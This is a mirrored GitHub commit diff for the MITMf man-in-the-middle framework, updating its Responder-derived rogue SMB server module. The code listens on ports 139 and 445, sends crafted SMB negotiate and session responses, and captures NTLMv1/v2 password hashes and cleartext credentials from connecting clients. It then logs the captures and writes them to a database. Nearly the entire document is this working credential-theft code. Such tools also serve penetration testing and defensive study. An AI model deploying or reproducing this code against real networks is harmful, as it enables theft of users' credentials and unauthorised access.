mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
responder code is now up to date with the lastest version
logging is going to have to get cleaned up, but that's a minor issue re-implemented the function to add endpoints to the http server added an option to manually specify the gateways mac in the Spoofer plugin
This commit is contained in:
byt3bl33d3r
parent
c527dc1d21
commit
772ef9ab39
12 changed files with 375 additions and 332 deletions
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@ -27,22 +27,22 @@ from core.responder.utils import *
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class SMB:
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def start(self):
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try:
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if OsInterfaceIsSupported():
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server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
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server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
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else:
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server1 = ThreadingTCPServer(('', 445), SMB1)
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server2 = ThreadingTCPServer(('', 139), SMB1)
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def start(self):
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try:
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if OsInterfaceIsSupported():
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server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
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server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
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else:
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server1 = ThreadingTCPServer(('', 445), SMB1)
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server2 = ThreadingTCPServer(('', 139), SMB1)
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for server in [server1, server2]:
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t = threading.Thread(name='SMB', target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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print "Error starting SMB server: {}".format(e)
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print_exc()
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for server in [server1, server2]:
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t = threading.Thread(name='SMB', target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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print "Error starting SMB server: {}".format(e)
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print_exc()
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class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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@ -58,52 +58,61 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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# Detect if SMB auth was Anonymous
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def Is_Anonymous(data):
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SecBlobLen = struct.unpack('<H',data[51:53])[0]
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SecBlobLen = struct.unpack('<H',data[51:53])[0]
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if SecBlobLen < 260:
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LMhashLen = struct.unpack('<H',data[89:91])[0]
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return True if LMhashLen == 0 or LMhashLen == 1 else False
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if SecBlobLen < 260:
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LMhashLen = struct.unpack('<H',data[89:91])[0]
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return True if LMhashLen == 0 or LMhashLen == 1 else False
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if SecBlobLen > 260:
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LMhashLen = struct.unpack('<H',data[93:95])[0]
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return True if LMhashLen == 0 or LMhashLen == 1 else False
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if SecBlobLen > 260:
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LMhashLen = struct.unpack('<H',data[93:95])[0]
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return True if LMhashLen == 0 or LMhashLen == 1 else False
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def Is_LMNT_Anonymous(data):
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LMhashLen = struct.unpack('<H',data[51:53])[0]
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return True if LMhashLen == 0 or LMhashLen == 1 else False
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LMhashLen = struct.unpack('<H',data[51:53])[0]
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return True if LMhashLen == 0 or LMhashLen == 1 else False
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#Function used to know which dialect number to return for NT LM 0.12
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def Parse_Nego_Dialect(data):
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packet = data
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try:
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Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
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#print hex(Dialect)
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packet = data
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try:
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Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
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if Dialect[0] == "NT LM 0.12":
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return "\x00\x00"
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if Dialect[1] == "NT LM 0.12":
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return "\x01\x00"
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if Dialect[2] == "NT LM 0.12":
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return "\x02\x00"
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if Dialect[3] == "NT LM 0.12":
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return "\x03\x00"
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if Dialect[4] == "NT LM 0.12":
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return "\x04\x00"
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if Dialect[5] == "NT LM 0.12":
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return "\x05\x00"
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if Dialect[6] == "NT LM 0.12":
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return "\x06\x00"
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if Dialect[7] == "NT LM 0.12":
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return "\x07\x00"
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if Dialect[8] == "NT LM 0.12":
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return "\x08\x00"
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if Dialect[9] == "NT LM 0.12":
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return "\x09\x00"
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if Dialect[10] == "NT LM 0.12":
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return "\x0a\x00"
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except Exception:
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print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
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print hexdump(packet)
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if Dialect[0] == "NT LM 0.12":
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return "\x00\x00"
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if Dialect[1] == "NT LM 0.12":
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return "\x01\x00"
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if Dialect[2] == "NT LM 0.12":
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return "\x02\x00"
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if Dialect[3] == "NT LM 0.12":
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return "\x03\x00"
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if Dialect[4] == "NT LM 0.12":
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return "\x04\x00"
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if Dialect[5] == "NT LM 0.12":
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return "\x05\x00"
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if Dialect[6] == "NT LM 0.12":
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return "\x06\x00"
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if Dialect[7] == "NT LM 0.12":
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return "\x07\x00"
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if Dialect[8] == "NT LM 0.12":
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return "\x08\x00"
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if Dialect[9] == "NT LM 0.12":
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return "\x09\x00"
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if Dialect[10] == "NT LM 0.12":
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return "\x0a\x00"
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if Dialect[11] == "NT LM 0.12":
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return "\x0b\x00"
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if Dialect[12] == "NT LM 0.12":
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return "\x0c\x00"
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if Dialect[13] == "NT LM 0.12":
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return "\x0d\x00"
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if Dialect[14] == "NT LM 0.12":
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return "\x0e\x00"
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if Dialect[15] == "NT LM 0.12":
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return "\x0f\x00"
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except Exception:
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print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
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print hexdump(packet)
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#Set MID SMB Header field.
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def midcalc(data):
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@ -126,301 +135,301 @@ def tidcalc(data):
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return pack
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def ParseShare(data):
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packet = data[:]
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a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
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if a:
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settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
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packet = data[:]
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a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
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if a:
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settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
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#Parse SMB NTLMSSP v1/v2
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def ParseSMBHash(data,client):
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SecBlobLen = struct.unpack('<H',data[51:53])[0]
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BccLen = struct.unpack('<H',data[61:63])[0]
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SecBlobLen = struct.unpack('<H',data[51:53])[0]
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BccLen = struct.unpack('<H',data[61:63])[0]
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if SecBlobLen < 260:
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SSPIStart = data[75:]
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LMhashLen = struct.unpack('<H',data[89:91])[0]
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LMhashOffset = struct.unpack('<H',data[91:93])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[97:99])[0]
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NthashOffset = struct.unpack('<H',data[99:101])[0]
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if SecBlobLen < 260:
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SSPIStart = data[75:]
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LMhashLen = struct.unpack('<H',data[89:91])[0]
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LMhashOffset = struct.unpack('<H',data[91:93])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[97:99])[0]
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NthashOffset = struct.unpack('<H',data[99:101])[0]
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else:
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SSPIStart = data[79:]
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LMhashLen = struct.unpack('<H',data[93:95])[0]
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LMhashOffset = struct.unpack('<H',data[95:97])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[101:103])[0]
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NthashOffset = struct.unpack('<H',data[103:105])[0]
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else:
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SSPIStart = data[79:]
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LMhashLen = struct.unpack('<H',data[93:95])[0]
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LMhashOffset = struct.unpack('<H',data[95:97])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[101:103])[0]
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NthashOffset = struct.unpack('<H',data[103:105])[0]
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if NthashLen == 24:
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SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[105:107])[0]
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DomainOffset = struct.unpack('<H',data[107:109])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[113:115])[0]
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UserOffset = struct.unpack('<H',data[115:117])[0]
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Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
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if NthashLen == 24:
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SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[105:107])[0]
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DomainOffset = struct.unpack('<H',data[107:109])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[113:115])[0]
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UserOffset = struct.unpack('<H',data[115:117])[0]
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Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv1-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': SMBHash,
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'fullhash': WriteHash,
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})
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv1-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': SMBHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 60:
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SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[109:111])[0]
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DomainOffset = struct.unpack('<H',data[111:113])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[117:119])[0]
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UserOffset = struct.unpack('<H',data[119:121])[0]
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Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
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if NthashLen > 60:
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SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[109:111])[0]
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DomainOffset = struct.unpack('<H',data[111:113])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[117:119])[0]
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UserOffset = struct.unpack('<H',data[119:121])[0]
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Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv2-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': SMBHash,
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'fullhash': WriteHash,
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})
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv2-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': SMBHash,
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'fullhash': WriteHash,
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})
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# Parse SMB NTLMv1/v2
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def ParseLMNTHash(data, client):
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LMhashLen = struct.unpack('<H',data[51:53])[0]
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NthashLen = struct.unpack('<H',data[53:55])[0]
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Bcc = struct.unpack('<H',data[63:65])[0]
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Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
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LMhashLen = struct.unpack('<H',data[51:53])[0]
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NthashLen = struct.unpack('<H',data[53:55])[0]
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Bcc = struct.unpack('<H',data[63:65])[0]
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Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
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if NthashLen > 25:
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FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
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LmHash = FullHash[:32].upper()
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NtHash = FullHash[32:].upper()
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv2',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 25:
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FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
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LmHash = FullHash[:32].upper()
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NtHash = FullHash[32:].upper()
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv2',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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if NthashLen == 24:
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NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
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LmHash = data[65:65+LMhashLen].encode('hex').upper()
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
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if NthashLen == 24:
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NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
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LmHash = data[65:65+LMhashLen].encode('hex').upper()
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv1',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv1',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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def IsNT4ClearTxt(data, client):
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HeadLen = 36
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HeadLen = 36
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if data[14:16] == "\x03\x80":
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SmbData = data[HeadLen+14:]
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WordCount = data[HeadLen]
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ChainedCmdOffset = data[HeadLen+1]
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if data[14:16] == "\x03\x80":
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SmbData = data[HeadLen+14:]
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WordCount = data[HeadLen]
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ChainedCmdOffset = data[HeadLen+1]
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if ChainedCmdOffset == "\x75":
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PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
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if ChainedCmdOffset == "\x75":
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PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
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if PassLen > 2:
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if PassLen > 2:
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Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
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User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
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settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
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WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
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Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
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User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
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settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
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WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
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# SMB Server class, NTLMSSP
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class SMB1(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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data = self.request.recv(1024)
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self.request.settimeout(1)
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def handle(self):
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try:
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while True:
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data = self.request.recv(1024)
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self.request.settimeout(1)
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if len(data) < 1:
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break
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if len(data) < 1:
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break
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##session request 139
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if data[0] == "\x81":
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Buffer = "\x82\x00\x00\x00"
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self.request.send(Buffer)
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try:
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data = self.request.recv(1024)
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except:
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pass
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
pass
|
||||
|
||||
# Negociate Protocol Response
|
||||
if data[8:10] == "\x72\x00":
|
||||
# \x72 == Negociate Protocol Response
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
# Negociate Protocol Response
|
||||
if data[8:10] == "\x72\x00":
|
||||
# \x72 == Negociate Protocol Response
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
# Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
|
||||
# STATUS_SUCCESS
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
# STATUS_SUCCESS
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
# Parse NTLMSSP_AUTH packet
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
else:
|
||||
# Parse NTLMSSP_AUTH packet
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
|
||||
# Send STATUS_SUCCESS
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = SMBSession2Accept()
|
||||
Body.calculate()
|
||||
# Send STATUS_SUCCESS
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = SMBSession2Accept()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Tree Connect AndX Request
|
||||
if data[8:10] == "\x75\x00":
|
||||
ParseShare(data)
|
||||
# Tree Connect AndX Response
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Tree Connect AndX Request
|
||||
if data[8:10] == "\x75\x00":
|
||||
ParseShare(data)
|
||||
# Tree Connect AndX Response
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
except socket.timeout:
|
||||
pass
|
||||
|
||||
# SMB Server class, old version
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
Packet = str(head)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
Packet = str(head)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue